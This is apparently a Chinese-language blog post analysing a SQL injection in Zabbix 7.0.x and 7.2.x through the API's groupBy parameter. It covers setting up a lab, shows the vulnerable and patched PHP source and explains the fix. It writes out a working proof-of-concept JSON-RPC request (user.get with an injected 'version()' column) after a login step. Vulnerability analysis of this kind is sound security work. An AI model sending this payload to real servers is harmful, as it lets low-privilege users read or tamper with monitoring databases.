仅供学习交流,请勿用于非法行为
看到有公众号发了漏洞描述,但没有详情,直接分析一手
Zabbix 是一款开源的网络监控和报警系统,用于监视网络设备、服务器和应用程序的性能和可用性。
一个具有 API 访问权限的低权限(常规)Zabbix 用户可以利用 include/classes/api/CApiService.php 中的 SQL 注入漏洞,通过 groupBy 参数执行任意 SQL 命令。
7.0.0 <= zabbix <= 7.0.7
7.2.0 <= zabbix <= 7.2.1
访问https://cdn.zabbix.com/zabbix/appliances/stable/7.0/7.0.7/
选择 vmx.tar.gz 这个,解压双击.vmx 文件即可导入 vmware workstation
然后开机即可,访问机器ip 80端口即可看到 zabbix 登录页面,默认账号密码是root/zabbix
源码从 https://cdn.zabbix.com/zabbix/sources/stable/7.0/ 下载
这里和虚拟机一样用 7.0.7 版本的,漏洞修复前的版本方便 diff 源码
后续步骤可参考之前写的一篇文章https://forum.butian.net/article/639
里面有两处小错误
yum install -y tar
安装需要注意的是改完 php.ini 后需要用 systemctl restart php-fpm 重启一下(因为这个浪费好多时间)
这个影响的是 include/classes/api/CApiService.php 这个文件的 applyQueryOutputOptions 方法,而提供 api 服务的各个类都继承了这个CApiService类,因此按道理调用了 parent::applyQueryOutputOptions()
都是存在 SQL 注入利用可能的。这里选取了我们的老朋友,CUser 类
首先需要用账号密码获取 auth 字段,才能拿到 api 访问权限
POST /api_jsonrpc.php HTTP/1.1
Host: 192.168.182.130
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 106
{"jsonrpc": "2.0", "method": "user.login", "params": {"username": "Admin", "password": "zabbix"}, "id": 1}
带上获取到的 auth 字段,构造 Poc 如下
POST /api_jsonrpc.php HTTP/1.1
Host: 192.168.182.130
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 183
{
"jsonrpc": "2.0",
"method": "user.get",
"params": { "groupBy": ["roleid, version()", "roleid"], "userids": "1" },
"auth": "019e6c5b253ba57e8158df85bb6aaf0d",
"id": 1
}
这里思路也很简单,直接 diff 源码看看改了什么
从刚刚搭建环境的源码链接中下一个 7.0.8 的
使用 vscode 插件 Compare Folders 进行 diff,可以轻松找到漏洞描述所说的地方
protected function applyQueryOutputOptions(string $table_name, string $table_alias, array $options,
array $sql_parts) {
$pk = $this->pk($table_name);
$pk_composite = strpos($pk, ',') !== false;
if (array_key_exists('countOutput', $options) && $options['countOutput']
&& !$this->requiresPostSqlFiltering($options)) {
$has_joins = count($sql_parts['from']) > 1
|| (array_key_exists('left_join', $sql_parts) && $sql_parts['left_join']);
if ($pk_composite && $has_joins) {
throw new Exception('Joins with composite primary keys are not supported in this API version.');
}
$sql_parts['select'] = $has_joins
? ['COUNT(DISTINCT '.$this->fieldId($pk, $table_alias).') AS rowscount']
: ['COUNT(*) AS rowscount'];
// Select columns used by group count.
if (array_key_exists('groupCount', $options) && $options['groupCount']) {
foreach ($sql_parts['group'] as $fields) {
$sql_parts['select'][] = $fields;
}
}
elseif (array_key_exists('groupBy', $options) && $options['groupBy']) {
foreach ($options['groupBy'] as $field) {
$field = $this->fieldId($field, $table_alias);
array_unshift($sql_parts['select'], $field);
$sql_parts['group'][] = $field;
}
}
}
elseif (array_key_exists('groupBy', $options) && $options['groupBy']) {
$sql_parts['select'] = [];
foreach ($options['groupBy'] as $field) {
$field = $this->fieldId($field, $table_alias);
array_unshift($sql_parts['select'], $field);
$sql_parts['group'][] = $field;
}
}
// custom output
elseif (is_array($options['output'])) {
$sql_parts['select'] = $pk_composite ? [] : [$this->fieldId($pk, $table_alias)];
foreach ($options['output'] as $field) {
if ($this->hasField($field, $table_name)) {
$sql_parts['select'][] = $this->fieldId($field, $table_alias);
}
}
$sql_parts['select'] = array_unique($sql_parts['select']);
}
// extended output
elseif ($options['output'] == API_OUTPUT_EXTEND) {
// TODO: API_OUTPUT_EXTEND must return ONLY the fields from the base table
$sql_parts = $this->addQuerySelect($this->fieldId('*', $table_alias), $sql_parts);
}
return $sql_parts;
}
protected function fieldId($fieldName, $tableAlias = null) {
$tableAlias = $tableAlias ? $tableAlias : $this->tableAlias();
return $tableAlias.'.'.$fieldName;
}
$options 就是我们可控的传参,很容易分析出 groupBy 字段可控时,可以控制 $sql_parts
的 group
而在继承并调用的这个方法的类,如 CUser 类,会将 $sql_parts 解析为 sql 查询语句进行查询
protected static function createSelectQueryFromParts(array $sqlParts) {
$sql_left_join = '';
if (array_key_exists('left_join', $sqlParts)) {
$l_table = DB::getSchema($sqlParts['left_table']['table']);
foreach ($sqlParts['left_join'] as $left_join) {
$sql_left_join .= ' LEFT JOIN '.$left_join['table'].' '.$left_join['alias'].' ON ';
$sql_left_join .= array_key_exists('condition', $left_join)
? $left_join['condition']
: $sqlParts['left_table']['alias'].'.'.$l_table['key'].'='.
$left_join['alias'].'.'.$left_join['using'];
}
// Moving a left table to the end.
$table_id = $sqlParts['left_table']['table'].' '.$sqlParts['left_table']['alias'];
unset($sqlParts['from'][array_search($table_id, $sqlParts['from'])]);
$sqlParts['from'][] = $table_id;
}
$sqlSelect = implode(',', array_unique($sqlParts['select']));
$sqlFrom = implode(',', array_unique($sqlParts['from']));
$sqlWhere = empty($sqlParts['where']) ? '' : ' WHERE '.implode(' AND ', array_unique($sqlParts['where']));
$sqlGroup = empty($sqlParts['group']) ? '' : ' GROUP BY '.implode(',', array_unique($sqlParts['group']));
$sqlOrder = empty($sqlParts['order']) ? '' : ' ORDER BY '.implode(',', array_unique($sqlParts['order']));
return 'SELECT'.self::dbDistinct($sqlParts).' '.$sqlSelect.
' FROM '.$sqlFrom.
$sql_left_join.
$sqlWhere.
$sqlGroup.
$sqlOrder;
}
可以看到这里直接拼接到 SQL 语句中,而且还有一个细节,正常来说是 group by 后面的语句可控,那还不是那么好注入的,但但但是
这里给可控的 groupBy 字段给复制到了 select 后面那个 column 所在的 part,所以 poc 也很容易构造
这里修复的也很简单,就是在给 $sql_parts 赋值前检查这个表里面是否存在这个字段(比如 CUser 这个类的就是寻找 user 表)
而且他检查是否存在也是给整个表的字段查询出来然后用 isset 去判断的,也不存在 SQL 可控,所以就没法在这构造其他非预期的语句了
protected function hasField($fieldName, $tableName = null) {
$schema = $this->getTableSchema($tableName);
return isset($schema['fields'][$fieldName]);
}
如有错误,请各位看官大佬多多指点
4 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!